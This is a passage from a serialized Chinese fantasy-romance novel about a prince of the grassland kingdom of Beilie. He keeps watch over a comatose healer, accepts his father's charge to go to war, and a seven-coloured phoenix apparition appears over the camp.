听到拓跋泽进来,脚步声缓缓靠近,拓跋宏坐在衣上云的床前背对着他,语气里带着些轻蔑地道:“皇兄这下可满意了?” 拓跋泽闻之驻足停了下来,侧身对其冷冷地反问他道:“你这话是什么意思?我这么做,也是出于谨慎小心,以防万一而已。如果她真是那个西秦守护者,别有用心渗入到我北烈内部,成了为那秦王轩辕翰窃密的细作,那我岂不是引火自焚吗?” “整日里疑神疑鬼的,想一出是一出,皇兄如今行事确实越发武断了。照此下去,这片草原便全都是皇兄一个人说了算了!”拓跋宏隐忍着怒气道。 “你……” 正所谓没有期望便就没有失望。因为诸多不顺的事,拓跋泽原本就心里极为压抑不爽。 大半夜里又白忙活了一场,为此而无比郁闷着却又无处发泄的一颗心顿时被其这番话所激怒,正欲发作,心下里却终是念及兄弟情深而慢了一拍,转瞬又默默隐忍了下去,终化作了一句沉声道:“我不想跟你吵。” 顿时间里,一室寂静。 不知过了多久,拓跋泽的眼睛不经意地斜了一下,忽然看到外面的天色似是已经有些蒙蒙泛白了起来。 又是一夜过去了,不知前方的战事如何,他又得走了。 于是,便缓缓踱步走到了拓跋宏的身后,一只手犹犹豫豫在半空中滞了半晌,方才轻轻落下去搭在了其肩上,遂又深深地吐了口浊气,却终是仍有些生气着。 “好了,时间不早了,我要走了。听我的话,将她送回去给婢女照料。我知道你的心思,可你若真的喜欢她,就得让自己变得更加强大,让北烈更加强大。只有在灵空大陆上屹立不倒,成为真正的强者,强国,方才能保护你自己想要保护的一切,拥有自己想要拥有的一切。如若结果是沦为了亡国奴,成了别人的俘虏,阶下囚。试问,这世上,还有哪个女人愿意跟你?” 顿了顿,见拓跋宏终是不动声色,拓跋泽最后无奈地道:“我从来都不强迫你什么...该怎么做,你自己决定吧!” 第三百八十四章:江山,美人 “我从来都不强迫你什么...该怎么做,你自己决定吧!” 话一说完,拓跋泽便重重地叹了口气,转身踱步离去。 就在其正好走至帐篷门口时,身后的拓跋宏忽然开口将其叫住道:“等等!” “还有什么事?”拓跋泽微微昂首,冷声背对着他问。 拓跋宏亦始终都背对着他,闭着眼睛沉默了会儿,似是整个人都深陷在一片颇为混乱的挣扎之中,待再次复又睁开时依旧看着衣上云的脸,对拓跋泽缓缓说道:“我跟你去。” 闻声,拓跋泽顿时惊诧地转身回过头去怔望向他的背影,愣了会儿后,忽开口赞叹其道:“对嘛,这才像是我大草原上的汉子。” 说完,便恣意大笑了起来:“哈哈哈,哈哈哈哈哈……” “但是……”岂料拓跋宏忽又发出这一声来,拓跋泽的笑声亦顿时随之戛然而止。 拓跋宏道:“但是,让我陪她醒过来,至少也要度过焕颜丹这整整百日。” “好!我答应你。”拓跋泽稍一琢磨,便极爽快地答应了他,继而又再次扬起方才的笑声来踱步走出了帐篷。 拓跋泽离去,帐篷内顿时恢复了往日的平静。 不知为何,这一刻,拓跋宏竟亦觉得这满帐篷的烛火之光,刺的人眼睛疼得实在是受不住。仿佛这一刻,他终于体会到了她的感受一般。 于是,他忽地伸直一只手臂来,随意朝后划了一圈,顿时间,满帐篷里便独独只剩下了衣上云床头案几上的唯一一盏昏暗的烛火。 拓跋宏这才双手紧握起衣上云的一只手来,将其抵到自己的唇边,深情地看着她的脸,极尽温柔地道:“乌乐,为了你,我愿意做任何事情,你知道吗?快点醒来,一定要醒来,我会永远都陪着你,一辈子不离不弃。” 霎时,一阵风拂过,就在其不经意地眨眼瞬间,衣上云紧紧闭起的双眼眼角在昏暗的烛火照耀下,忽然悄悄地滚落了两行热泪来。 日升月潜,云卷云舒,日复又一日地过去。 终于,迎来了衣上云一到这片大草原上,便服下了那粒焕颜丹的整整第一百个日子。 今日过后,即到了午夜时分,焕颜丹便会彻底失去其药效,衣上云将再次回归到其最初的容颜。 天苍苍,野茫茫。今日是个天高云淡,风和日丽的好日子。 拓跋宏终是依照拓跋泽所言,将衣上云从草原上条件极差的偏远贫民窟里带了回来。 此时,眼前无数大大小小的帐篷群中,一顶格外豪华气派又宽敞的帐篷里,到处弥漫着香烟袅袅,花香阵阵。 衣上云依旧静静地躺在里面沉沉地昏睡着。其身旁,拓跋宏满脸胡子拉碴,日夜寸步不离地守在其边上。 因为她夜里时不时总是发出些喃喃之音来,使拓跋宏产生了错觉,总感觉她似是快要醒来的样子,一夜里几经折腾,许是实在太困了,此时正紧紧握着衣上云的一只手趴在其床边浅浅睡着,脸上竟露出一丝微笑。 在他甜美的梦里。 蓝蓝的天空上飘着几朵如梦如幻般的雪白云朵,草原上遍地开满了各种五颜六色的鲜花。风一吹,花香与青草香气夹杂在一起欢快跳跃着,令人如痴如醉。 勤劳朴实的牧民们正赶着成群结队的牛羊,徜徉于草原湖畔间,飘出一阵阵嘹亮的牧歌声来,显得是那般地舒心与惬意。 衣上云一袭白裙飘飘,洁白无暇的脸上挂着世间最灿烂美好的笑容,与他一起策马纵横在这片辽阔的草原上,成为所有人心中所公认和艳羡的草原上最郎才女貌的一对情人。 阳光下,每个人脸上的笑容都是那样的真诚,灿烂,自由,幸福,不受一点点束缚,就像是草原上的雄鹰,自由翱翔,划过长空。 而这片蔚蓝的天空,则包容了它所有的不羁…… 忽然,一身穿美丽的游牧民族袍子的美貌女子,双手捧着半盆水笑盈盈地走了进来。 悄悄近身过去轻轻放下了手里的东西,又到一边将尚还燃烧着的一盏烛火吹灭后,方才再次回来轻拍了拍他坚实的臂膀,传出一阵娇滴滴的声音在其耳边,将他的美梦唤醒:“二殿下,二殿下……” 拓跋宏随之缓缓从梦中醒来,睁开眼睛坐起身来。 婢女忙关切道:“二殿下已经在此守了一夜了,去歇一会儿吧,奴婢来替您守着这位姑娘。” 拓跋宏一见婢女是来替其梳洗的,便起身来叮嘱了句:“今日很重要,一定要小心伺候着,如若有任何风吹草动,立刻来唤我。” “二殿下放心去吧,奴婢知道了。” 尽管如此,仍是立在一旁极不放心地默默看了会儿,见婢女手脚麻利,还算机灵,拓跋宏便兀自微微颔首走出了帐篷。 回到了自己的帐篷里,在婢女的侍奉下沐浴后,又换了套干净的竹青色袍子。用了些早饭,忽觉得神清气爽,整个人似是已彻底清醒了过来,毫无一丝睡意。 见着外面的风光极好,心念一动,忽出门朝着旁边一顶同样气派的帐篷里踱步了过去。 帐篷四周景色宜人,却皆都静悄悄的,只有门口静守着几名强壮的侍卫。 侍卫一瞥见拓跋宏走过来,正欲朝其行礼问候,却被他伸手拦住,侍卫又忙伸手帮其挑开门帘。 许是害怕打扰到了里面人的好梦,于是他脚步轻轻的迈了进去。 顿时,却从里面传出一阵颇为低沉无力的声音道:“是宏儿吗?” 拓跋宏忽地驻足下来答了句道:“是孩儿,父王。” 话一说完,便改为大步着急地朝着里面的床榻边走了过去,搭手将榻上的老国君扶起身来。 如今的北烈国老国君,俨然已是一位白发苍苍的孱弱老人。 “咳咳咳咳咳,咳咳咳咳咳……”一边起身坐在榻上,一边捂着嘴咳了许久,最后依旧喘着粗气问道:“听说你答应你皇兄要上战场了?” 拓跋宏一边替其披上了一件外衣,一边吃惊地道:“父王是怎么知道这件事的?” 老国君笑了笑,气息微弱,语调不高却自有一番威严肃穆:“在这大草原上,有什么事是能瞒得过父王的耳目呢?” 拓跋宏顿时沉默了下来露出一脸的难色,老国君悄悄瞥见,看破却不说破,反问:“跟父王说说,怎么忽然改了性子了?父王记得,打小你从来可都最是讨厌战争的。” 拓跋宏不想老国君疑心到目前北烈的紧张战事,遂稍一思索,便昂起头来理直气壮地道:“开疆辟土,保家卫国,抛洒热血乃男儿毕生之志,宏儿作为皇族中人,又岂能自甘示弱?” 老国君依然淡淡地笑着:“你若是真能这么想也就好了,只怕是另有原因吧?” “父王,宏儿……”果然,自小便失了母后,由父王一人将其兄弟俩人拉扯长大的拓跋宏的心事,又怎能瞒得过老国君的火眼金睛?只不过三言两语,他便彻底再也无话可说。 老国君叹了口气,却没有再继续问下去,似是心里已有了些猜忌,遂皱了皱眉头,转念又道:“宏儿,最近几月父王见你时常精神恍惚,若有所思的样子,好像与以前大不相同了。是不是,有了心上人了?” 拓跋宏闻声,顿时低下头去抿起嘴唇,感觉似是有些无从说起,因为即使到现在,他与衣上云之间的所有一切,也只不过都还是他自己的一厢情愿而已。 见他犹犹豫豫,似是很难开口的样子,老国君却含笑着道:“你不说父王也能猜到,是不是你皇兄前段时日从西秦国带回来的那个叫作乌乐的女子?” “父王……”拓跋宏听闻,惊慌地抬起头来正想开口解释些什么,却被老国君伸手拦住。 老国君想了想,赞叹道:“乌乐,她的确是个不可多得的好姑娘。不仅医术好,人又正直善良。如果真的能留在草原上,那是我们草原百姓之福气。” 拓跋宏闻言,正展颜一脸欣喜地跟随其所说回忆默想着,却见他忽地卸下了脸上的笑意,想了会儿,又重重地叹了口气。 继而一脸严肃地道:“可是宏儿,如果你只是一个普通的牧民之子,父王也只是这大草原上的一个普通牧民。听到这个消息,我会由衷地替你感到高兴,并祝福成全你们。因为,我的宏儿,终于长大了。” 顿了顿,似是有些于心不忍,可又不得不继续缓声说:“可你知道,我不是一个普通的牧民,所以你也不是一个普通的牧民之子。江山,美人,终是不可兼得。” 老国君说着,深深看了已渐渐转为满腹惆怅与不解的儿子一眼,说:“你一生下来便就注定了将是这片大草原上的主人,不管你愿不愿意?这都是你此生永远都无法摆脱的使命。你的命,是用来竭尽所能去守护这片大地,守护你的子民的,而不是……” 未及其将话说完,拓跋宏着急地替自己辩解道:“为什么一定要是我,而不是皇兄?皇兄不是比我更适合做这件事吗?父王你知道,我从来都没想过要坐你的位置。” 老国君注视着他闪闪发光固执的眼睛怔了一下,忍不住掩嘴又重重地咳了起来:“咳咳咳咳咳……” 第三百八十五章:藏在父王心里一辈子的女人 “为什么一定要是我,而不是皇兄?皇兄不是比我更适合做这件事吗?父王你知道,我从来都没想过要坐你的位置。” 老国君注视着他闪闪发光,明亮又固执的眼睛怔了一下,突然呼吸变得急促起来,忍不住掩嘴又重重地咳了起来:“咳咳咳咳咳,咳咳咳咳咳……” 拓跋宏忙起身往一旁去倒茶,老国君忽觉得手里似是有些异样,遂将那只捂嘴的大手轻轻挪开一看,竟是自己刚刚咳出的一大口污血。 愣了一下,怕被拓跋宏回来瞧见,紧忙将那只手在身后藏了起来。 拓跋宏很快便回来帮其一边将一杯热茶慢慢饮下,又抚了抚其后背顺了顺气,见其终于缓和了下来方才一脸歉然地开了口。 “对不起,父王,宏儿不是有意要忤逆您的。宏儿只是此生志在药草之术,宏儿讨厌永无休止的杀戮,讨厌争夺抢掠。您认为,这样的宏儿,真的有能力保护这片草原吗?” 老国君缓过气来,道:“在那幅员辽阔的西秦大地上,有一句老话,说的是‘世上无难事,只怕有心人’。由此可见,天下之事,没有难或不难,只有想或不想。只要你想,即使再难,也一定能达成。” 说着,其目光坚定地对上了拓跋宏郁郁寡欢的眼睛,说:“所谓的风花雪月,儿女情长,随着时光的流逝,到了最后,都只会变作这平静如水的岁月。所有一开始的激情浪漫,俱都全然无存。‘好男儿志在四方’,只有你真正拥有了这整片大陆,你才会知道,这个世界有多大,多精彩,才会真正的,不负男儿的一生。” 岂料拓跋宏听了,却垂头依旧甚感极为压抑地低声喃喃:“可宏儿此生,却惟愿只得一人心,白首不相离!” 话音刚落,忽然心中又浮起了最后一丝希望,或许自己再多坚持一次,便就会改变父王的心意。于是,他蓦地抬起头来眼巴巴地注视着老国君的眼睛,接近于哀求般地道:“父王,求你成全宏儿吧,皇兄他真的比宏儿更适合这个位置千倍,万倍。” 老国君默默看了他一会儿,缓缓道:“你皇兄的确是骁勇善战,但他为达目的不择手段,戾气太重,失了仁心。自古圣人有云‘得民心者得天下’,只有仁者才能俘获最大的民心,才是我北烈国国君的最佳人选,方能将北烈发展地更加壮大。所以,能够担此大任的人,只有你。父王相信,你一定能够做到。” 终于,就连这最后一丝希望仍是很快便被彻底破灭,不得已他再次泄了气,目光无奈地退了下来。 见此,老国君又意味深长地说:“父王老了,可你以后的路还很长。你现在所正在经历的,父王曾经也都经历过。孩子,你是时候该长大了!父王不能陪你一辈子,护你一辈子。但你以后的路,却一定都是你自己所选的。倘若你痴迷的那个人,她的心却并不在你身上,那你又该如何?你想想,乌乐,她是不是真的也同你对他这般对你呢?” “她……”拓跋宏忽地抬起头来,却是再次无力开口,默默地将目光移向空处。 显然,他无法肯定地回答,自从他一进门来便现出的一脸迟疑,谈起乌乐时脸上忧郁不自信的表情,欲语还休,所有一切的举动早已显出了他心底的无奈,老国君全都历历在目。 然转念,拓跋宏却忽然回过神来,好奇地看向老国君的脸,惊声道:“‘宏儿现在所正在经历的,父王曾经也都经历过...’莫非...父王以前也曾……她是什么人?” 老国君顿显一脸悠长,回忆着道:“那是太久太久以前的事咯,说起来,她竟同乌乐长的几乎一模一样。以至于你皇兄将乌乐一带回来,父王第一次在草原上见到她的时候,还真把她当成是她回来了呢?她是个一样善良的东宁姑娘。她曾经,救了父王的命。” “同乌乐长的一样?东宁国女子?救了父王的命?宏儿从小到大,怎么从未听父王提起过。”拓跋宏显然惊呆了。 而老国君也陷入了对当年美好往事的深深回忆中:“她是藏在父王心里一辈子的女人,父王从未对任何人提起过,你又怎会知道?” “到底是怎么回事?”拓跋宏似是很感兴趣,没想到像父王这样戎马一生的人,竟也会有这样刻骨铭心的一段柔情,将一个女子默默地深藏于心一辈子。 这时,老国君忽然掀开被子像是欲要起身下榻来,拓跋宏忙伸手将其扶住关切道:“父王,你想做什么?你的身体很弱,需要卧床静养,最好不要下榻来。” 老国君脸上虽然挂着笑容,然心里却极其悲伤与不舍,一边在拓跋宏的帮衬下下榻,一边说道:“父王已经在榻上躺了太久了,觉得整个身子骨都快要散架了。想起来走动走动,趁着还有那么一点点力气,再好好看看这片美丽的草原,好将它刻在父王的脑海里。” 说话的声音到了最后,竟然有些发颤。拓跋宏听了,亦是顿时一阵心酸涌上心头,垂首极力隐忍着悲伤,将老国君扶着一步一步挪出了帐篷。 帐篷外。 附近正身处于草原腹地的一湖面上,几只鱼鹰、水鸟正盘旋在湖的低空似箭般划破水面,嬉戏着玉珠迸跳的浪花。 湖边,一匹悠闲吃草的棕色骏马带着一只撒野的棕红色小马,草浪一波一波地荡漾开去。 阳光照亮着大地,一碧万顷的草原如铺开的绿绸,遍地的野花用其最好的姿态装饰着它,还有那点缀于绸布之上到处分散的羊群。 湛蓝的天空中白云翻滚,与远处的山脉连绵逶迤,与地平线挽手相连。 老国君认真近乎于贪婪地看着眼前的一切,默默地低叹:“这是一片多么令人心驰神往,自由而美丽又透着无尽神秘的土地啊!” 尽管这个年龄的拓跋宏还不能完全体会到老国君的意境,但也与其一道出神地凝望着眼前的景致发起呆来。 稍时,老国君忽然慢慢席地而坐了下去,幽幽道:“那年,父王到富甲一方的东宁国去游历。岂料,东宁国竟发生了一场几乎要亡国的可怕瘟疫。在那东宁国满朝上下俱都对此毫无一点儿对策的时刻,民间忽然传出了一名女子,她竟然奇迹般地研制出了解药,救了全国的人。当然,也包括父王我在内。” “那后来呢?”拓跋宏问。 “后来,因为她拯救了整个东宁国。又机缘巧合,最终成了东宁国君的嫡皇后。而后来却……” 老国君说着说着,眉头忽然皱的愈来愈紧,脸上露出了无尽的冷厉。 “后来发生了什么?”拓跋宏似是已经预感到了什么不好的事情,着急地问。 老国君忽然一脸凝重,甚至都已将双拳握起:“后来,听说她临盆在即,挺着身孕,不知为何却去了西秦国,在西秦国里为了...为了救那个黄口小儿,秦王轩辕翰,被贼人逼落悬崖,死了!” “什么?”拓跋宏顿时朝其瞪大了眼睛,惊呆了。 沉默了许久后,老国君似是方才缓和了下来。长长的舒了口气,说道:“其实喜欢一个人,就是希望她能有更好的生活。但若早知道那人根本就无力保护她,父王说什么都不会……可如今,却是说什么,做什么都已经晚了。” 忽然,他将目光移到正望着眼前的风景若有所思着的拓跋宏的侧脸上,痴笑着说:“当年,父王只能默默的在暗处帮她到处寻找药草,完成她想做的事,救治病患。然即使如此,父王却依然觉得很开心。似乎这漫长的一生中,再也没有比在东宁的时候,于她的身边更开心的事了。” 原来,这便是父王藏于心中的柔情。拓跋宏不禁为其如此深沉的感情,觉得有些唏嘘。却是转念说:“所以父王自己都做不到的事,又怎么能要求宏儿做到呢?” 一时间,老国君怔望着自己儿子的脸,竟不知该如何答他的话。 轻轻叹了声气,最后从身上掏出一块腰牌来对其交待说道:“是啊,正因为父王做不到,才希望你能做到,因为你比父王强。你比父王当年要勇敢的多,至少你有勇气告诉乌乐,让她知道你的心意。父王的时日已然不多了,该说的,不该说的,父王也都已经与你全说了。这块兵符和这整片草原,父王就将他们全都交给你了。” 刚一说完将其塞入其手中,便又掩嘴重重地咳了起来:“咳咳咳咳咳……” “父王,宏儿……”拓跋宏几乎毫无拒绝的机会,一接过老国君硬塞到其手中的物件,心里顿时五味杂陈。 老国君边咳边朝其挥手:“去吧,既然答应了你皇兄,就要做到,不要让北烈子民对皇族失望!” “父王,宏儿若是走了,那你的身子……”拓跋宏忧心地问。 “这把老骨头暂时还是死不了的,你尽管放心去吧,父王等你们兄弟俩凯旋归来。”老国君强撑出一口硬气来道。 “如此,还请父王多加保重,宏儿一定很快回来。” 老国君微笑着朝其点了点头,拓跋宏便起身来缓缓离去。 “来人,去探探边境上到底发生了什么事?” 拓跋宏前脚刚一走远,老国君便一脸冷厉地唤来了帐篷外的隐卫,朝其命令道。 第三百八十六章:凤凰虚影再现 夜幕降临的时候,草原上忽然起风了。 帐篷里。 明亮的烛火下,拓跋宏正忙着做出征临行前最后的准备。 经过与老国君的一番交谈,他终是决定,待今夜焕颜丹的百日期限一到,午夜一过,无论衣上云是醒或是昏迷,他都将连夜赶往战场。 显然,纵使他心里有多反抗,可正如他的父王,北烈老国君所言,无论如何?身为皇族的一员,始终,他都不能眼睁睁看着子民们对皇族失望,看着父王呕心沥血,辛辛苦苦打下的万里江山,被人任意践踏,亦或就这样拱手让人。 或许,等这段艰难的日子过去之后,他一定会想出一个万全之策来达成自己的夙愿。 于是,他悉心将衣上云每日所服用的汤药方子抄录了下来,准备待会儿亲手交给并再叮嘱一番照料她的那名婢女。 行军打仗,一切从简。准备好了一切,距离午夜来临的时辰也已经差不多了。 于是,他再次回坐到案几边手执起药方来,仔细地一遍又一遍,反复再次斟酌又斟酌着里面的每一味药草,想要尽可能的做到完美无缺。 这时,忽然一股大风袭进了帐篷里,将其书案边的烛火差点儿熄灭。 这才打断了他的思绪,皱了皱眉,遂心生纳闷地低声喃喃自语道:“这白日还万里无云着,好端端怎么半夜里就突然起这么大的风了!” 话音刚落,岂料忽地传入耳畔一阵滚滚雷声:“轰隆隆……” 心念一动,倏的一下拿起案上的药方便起身来踱步走出了帐篷。 刚一出帐篷,这才发现原来不止是大风,响雷,还有那漫天道道现出的霹雳闪电,正恶狠狠地呲牙咧嘴般发出着阵阵刺眼的光芒划破夜空。 顿足看了一瞬,忽觉得身上寒意侵骨,紧裹了裹披风,便忙加急了脚下的步伐,径自朝着衣上云所在的帐篷里奔了过去。 因为整日整夜,这会儿似是愈加更频繁了一般反复不停的发热出汗,细心周到的婢女怕衣上云的身上出汗粘腻会不舒服,亦或染了风寒,所以又刚替她再一次擦洗了遍身子。 换了一套干净的袍子,再替其将被角重新捻好,婢女方才正忙撤着洗漱用具。 刚一转身,拓跋宏走了进来与其正好撞了个正着。 而一瞥到婢女怀里抱着的衣上云刚换下来的亵衣亵裤等贴身衣物,拓跋宏本能的急急躲闪开目光。 婢女微微侧头掩嘴偷偷发出一阵窃笑,继而探问打趣道:“二皇子殿下是不是喜欢这位姑娘,怎么一见人家的贴身衣物,脸都红了?” “瞎说什么呢,还不快拿下去?”拓跋宏难为情地怒喝道。 “是”婢女躬身偷偷地咧了咧嘴角,一边应着一边兀自迈步出去,心里却道:“明明就是,还死不承认!” 岂料心里的念头尚未落下,却又被人叫住:“回来,等等。” 婢女顿时转身,仍是故作一脸笑吟吟地问:“二皇子还有什么吩咐?” 心下里犹豫了一瞬,拓跋宏遂朝婢女身旁近了两步,伸手挠了挠自己笔挺的鼻梁,抿了抿嘴,最后深吸了口气终是鼓起了勇气来。 “方才...你们替这位姑娘更衣的时候,有没有...有没有看到她的身上有什么...胎记之类的东西?” 婢女暗自想了想,疑惑地道:“胎记?奴婢并不曾看到有任何胎记在这位姑娘身上呢!这姑娘的身子除了瘦弱以外,并无任何瑕疵。二皇子殿下...怎么问起这个来?” 婢女歪着脑袋看着他,说着说着不禁又开始对其真正意图想入非非了起来:“一个大男人,打听人家姑娘的身子,还说对人没有企图?哼……” 然拓跋宏却当即严肃地再次向其确认道:“你确定她的身上真的没有什么凤凰之类的胎记图案吗?肩部,对,就是肩部,有没有?” 婢女纳闷地缓缓摇头,这位二皇子向来平易近人,稍时,婢女竟忍不住撅起嘴来再次打趣起他来。 “怎么?二皇子是不相信奴婢的话?那不如二皇子索性就纳了这位乌乐姑娘,如此不就可以自己看了吗?而且想怎么看便怎么看?” 说完,看着他呆呆傻傻的模样,竟忍不住掩嘴窃笑了起来。 待拓跋宏一反应过来,立刻一脸怒色着朝其道:“胡说八道,出去!” 婢女被呵斥,转身过去吐了吐舌头,做了个鬼脸,急急又走了出去,岂料拓跋宏再次将其叫住:“等等。” “二皇子,又有什么吩咐?”这次,婢女终于卸去了些之前脸上的笑意,似是有些不耐烦了的口气道。 拓跋宏这才将身上的药方拿了出来,递给婢女叮嘱道:“这个方子,是乌乐姑娘每日务必要服用的,一定记得要用本皇子那里最上乘的药材煎制。本皇子不在的时候,你一定要小心伺候着,切不可大意。” 婢女接过药方看了看,遂忽然现出满脸的忧心看了眼床榻上的衣上云,轻叹了口气问:“二皇子殿下,这位善良的乌乐姑娘,她到底还能不能醒来了?” 拓跋宏沉默了会儿,先叹了口气,顿了顿后又吸了口气,似是重新振作起来说:“会的,当然会的,她是咱们北烈大草原上的乌乐神女,怎么会醒不来呢?!” 俩人一起对着榻上的衣上云怔望了片刻,婢女方才告退离去。 拓跋宏一脸极不放心,恋恋不舍地缓缓坐到了衣上云的床榻前,握起她的一只手抵在自己温软的唇边,对其喃喃细语起来。 “乌乐,对不起,我真是没用,百日之期已到,我终还是没有办法研制出第二粒焕颜丹来。在你来到这片草原之前,我对自己的医术颇为骄傲,总以为自己是这片草原上最强的医者。你来了,我才知道自己的医术是那样的浅薄。也是因你,才让我意识到这片大陆有多么广阔,我好想随你到处去看看。” 默了会儿,渐渐收回思绪,拓跋宏忽然轻笑了起来,眼里似是透着许多的无奈望着眼前正在燃烧的烛火愣愣地说:“从小我一直以为,自己拥有一切,一定可以按照自己的意愿去过自己想要的生活。可没想到,终有一天,对于命运所赋予我的枷锁竟也会这般地无力抗拒。” 说着说着停了下来,转目看向衣上云安静的脸,道:“乌乐,我答应了父王,去帮皇兄将西秦大军击退。你知道,我不想这么做的,可是...你应该能懂我的吧?” 霎时,一股风袭来,将衣上云鬓边的发丝吹散开,拓跋宏一边帮其顺了顺,一边温柔地说:“你那么聪明,那么善良,有很多人需要你,我更需要你。所以,求求你一定要醒过来。你放心,等我回来,我一定会有办法带你远走高飞,远离这所有一切纷纷扰扰,恩恩怨怨。” 盯着她的脸看了会儿,忽地缓缓展开一个笑容,一面笑着,一面慢慢俯下头去,轻轻闭眼柔柔的将一个深吻印在了衣上云的额头。 就在此时,帐篷外忽然响起一阵巨大的雷声来:“轰隆隆……” 随之,倾盆大雨霎那间从草原空旷的夜空中一泻而下,伴随着一道道耀眼的闪电撕裂了整片夜空。 突然,从这片夜空里现出了一道灼眼的七彩光芒。 即便是在漆黑的夜里,亦能清清楚楚地看到这七彩光芒在缓缓扩散,拉伸,渐渐显出了宛若一只凤凰般的轮廓来。 那七彩凤凰虚影盘旋在雨夜的半空中缓缓挥动着其七彩羽翼,昂首俯视着地面。 顷刻间,像是觅到了什么,瞬时伸展开那美轮美奂的羽翼来如箭般俯身直冲了下去,坠入衣上云所在的帐篷上后便顷刻消失不见,没了踪影。 紧接着,风停,雷电停,唯只剩下了淅淅沥沥的雨声萦绕在耳边...... 这时,从附近牧民们的许多帐篷外忽然陆陆续续燃起了越来越多的火把与篝火来,将夜空再次点亮。 入夏干旱了许久的草原,终于盼来了一场喜雨,顿时间,帐篷内外的歌声、笑声,与天地之间的雨声共同融汇在一起,似是整个草原皆都沸腾了起来,大家都载歌载舞着于雨中欢庆这一令人兴奋的时刻。 而此时,刚刚抵达至北烈与衣上俊成功汇合,正在命人连夜安营扎寨的轩辕翰与程良,还有衣上俊三人亦都清清楚楚地举目亲眼看到了发生在远处天边下,北烈高空中的这惊奇一幕。 “殿下,这世上…没想到真的会有凤凰虚影?” 异象消失后,程良吃惊地回过神来望着轩辕翰仍在高高仰视的侧脸,甚觉不可思议地道。 “这真是太神奇了!”而位于轩辕翰另一旁,衣上俊亦正一身铠甲,呆呆地仰天长叹道。 闻声,程良灵光一闪稍一迟疑,忽然将目光绕过了轩辕翰的脸,转而看向了衣上俊,问道:“听闻不久前,衣府夜里也曾出现过这样的凤凰虚影,难道你没见过吗?” 衣上俊缓缓收回视线,侧身回答:“这都是邻居们的谣言,以讹传讹,诋毁大姐的,属下从未在府里见过什么凤凰虚影!” 程良单手执剑,双手环胸蹙眉半信半疑地正在暗自思量着他所说的话,岂料衣上俊忽然注视着轩辕翰的脸,问:“对了,大姐失踪都已经这么久了,不知殿下如今寻找大姐的进展如何了?可有什么消息?” 闻此,程良顿时脸色一紧…… 第三百八十七章:你不懂 大战在即,这个节骨眼上,士气便显得尤为重要。若是让他知道了主子已经对衣上云最终宣判了死亡的消息,势必一定会影响到衣上俊的带兵与作战情绪。 一念至此,完全不知所措的程良忽地将目光同样移向到轩辕翰的脸上…… 此时,这边的草原上却并未曾落下一滴雨,反而皎洁的一轮明月正高悬于空中,月光倾泻在轩辕翰的身上,照着他冷厉的脸色,如万载寒冰,冷意潋滟。 他单手附后而立着,久久一直都沉默不语,似是尚还停留在对方才夜空中的异象思索中不能自拔,根本没有听到衣上俊所言一般。 周围的气氛刹那间变得如死一般寂静。 岂料倏的一下,衣上俊竟又将目光移向了程良的脸。 程良一对上他那满是迫切与希冀的目光,登时脑中一片空白,愣愣地注视着他鬼使神差地说:“衣姑娘,她……” 话刚开口,却被轩辕翰的一厉声打断道:“本王已亲自到城南搜寻过,确定她已经死了!” “什么?这…这不可能,属下不信,大姐…大姐她不会就这么死了的!”衣上俊竟斗胆大声朝其质疑道。 轩辕翰双手负后着吸了口气,说:“你若不信,可以书信回去问你父亲。此事,他亦已经全部知晓。” “父亲亦已经全都知晓了…这不可能,这绝不可能,不可能,不可能……” 衣上俊缓缓垂首下去不停地轻晃着脑袋,嘴上虽拒绝接受,然脸色却是越来越惨白,眼神里亦刻满了绝望,身子仿佛瞬间被人抽去了骨架般突觉无力,眼睛凝视着脚下,嘴里一遍又一遍不停地喃喃念着。 见他失神落寞,心灰意冷,轩辕翰缓缓转身,将一只手搭在其肩上,那深黑冰冷的双眸眺望着远方一片茫茫早已恢复如初了的寂静夜色,语重心长地缓缓开口。 “人死不能复生,但为了这个世上更多的人都能更好的活着,永远远离永无止境的残暴统治与杀戮,我们唯有尽己所能地拼命去守护这片大陆。本王相信,这也一定是云儿她的心愿。” 闻此,衣上俊方才缓缓抬起头似是醒悟了过来,看着轩辕瀚的侧脸对其一脸敬畏。 这时,轩辕翰身后的程良亦朝其重重地点了点头。 俩人遂对视了半晌,只见衣上俊手上的青筋直跳,终隐忍着满腔悲愤,一双拳头紧紧握起,似是对这场战争的胜利充满了无穷的力量与决心。 俩人遂立在轩辕翰的身后,与其一道放眼遥望向了北烈腹地的一片发出隐隐约约光亮来的方位…… 就在距离西秦军队安营扎寨不远处的一静静的小湖边,易君浩与婢女三人正坐在一堆刚刚燃起的篝火边的石头上歇脚。 几经长途跋涉,婢女白芷的肚子早就饿的咕噜噜打过无数次响鼓了,此时正认真地啃食着手里的干粮。 忽一抬起头来,远远地瞥见夜空中所闪烁着的那道奇幻的七彩光芒。 遂呆呆地立起身用手背抹了抹嘴,上前两步又揉了揉眼睛,确认自己看到的的确是难得一见的意象。便伸手指着远方的夜空惊叫道:“紫苏快过来看,那是什么?” 闻声,就在其身后正悉心忙着为身旁一脸凝重若有所思着的主人,煮着一壶清香四溢的花茶的紫苏亦倏的起身来。 她走到白芷的身前,定睛朝其所指去的方向仔细看了看那耀眼夺目的光影,又垂头默思了一会儿,遂缓缓现出来一脸欣喜与兴奋地惊呼道:“凤凰虚影…那是七彩凤凰虚影!” “凤凰虚影?”岂料这声惊叫,竟使得一旁已经愁眉不展了不知已有多久的易君浩顿时眼前一亮,遂蓦地收敛了心事,心下里一动,忙起身来亦惊奇地朝俩人中间凑了过去。 与梅志煊一起在西秦国内寻衣上云的消息久久无果,而梅志煊从梅汐媛那里所得到的消息自然亦是与所有人同样,由那秦王轩辕翰向世人所官宣的结果。 迫于大婚,梅志煊虽也对此结论疑心重重,但又不得不暂时撇下这边的事回国完婚。 临行前,只信誓旦旦地说此事绝对不会与那秦王轩辕翰就此善罢甘休,扬言说自己一定还会再回来,誓一定要将这件事查的清清楚楚。 易君浩始终都觉得轩辕翰此举疑点重重,里面一定有蹊跷。于是,便尾随其后随他的大军日夜兼程地赶路至此,想要看看他的葫芦里究竟卖的什么药? 虚影散去,三人俱都惊讶不已地一同缓缓再次落座了回去。 这时,白芷歪着脑袋不解地问紫苏:“紫苏,你是怎么知道凤凰虚影的?” 紫苏正一只手捏着几支枯树枝朝篝火堆里丢进去,另一手拿了根树枝轻轻拨动着柴火,好使其燃烧的更旺一些,能够带给三人更多的温暖。 夜里的草原,变得愈加的冷,两名单薄的女子显然有些不适应。 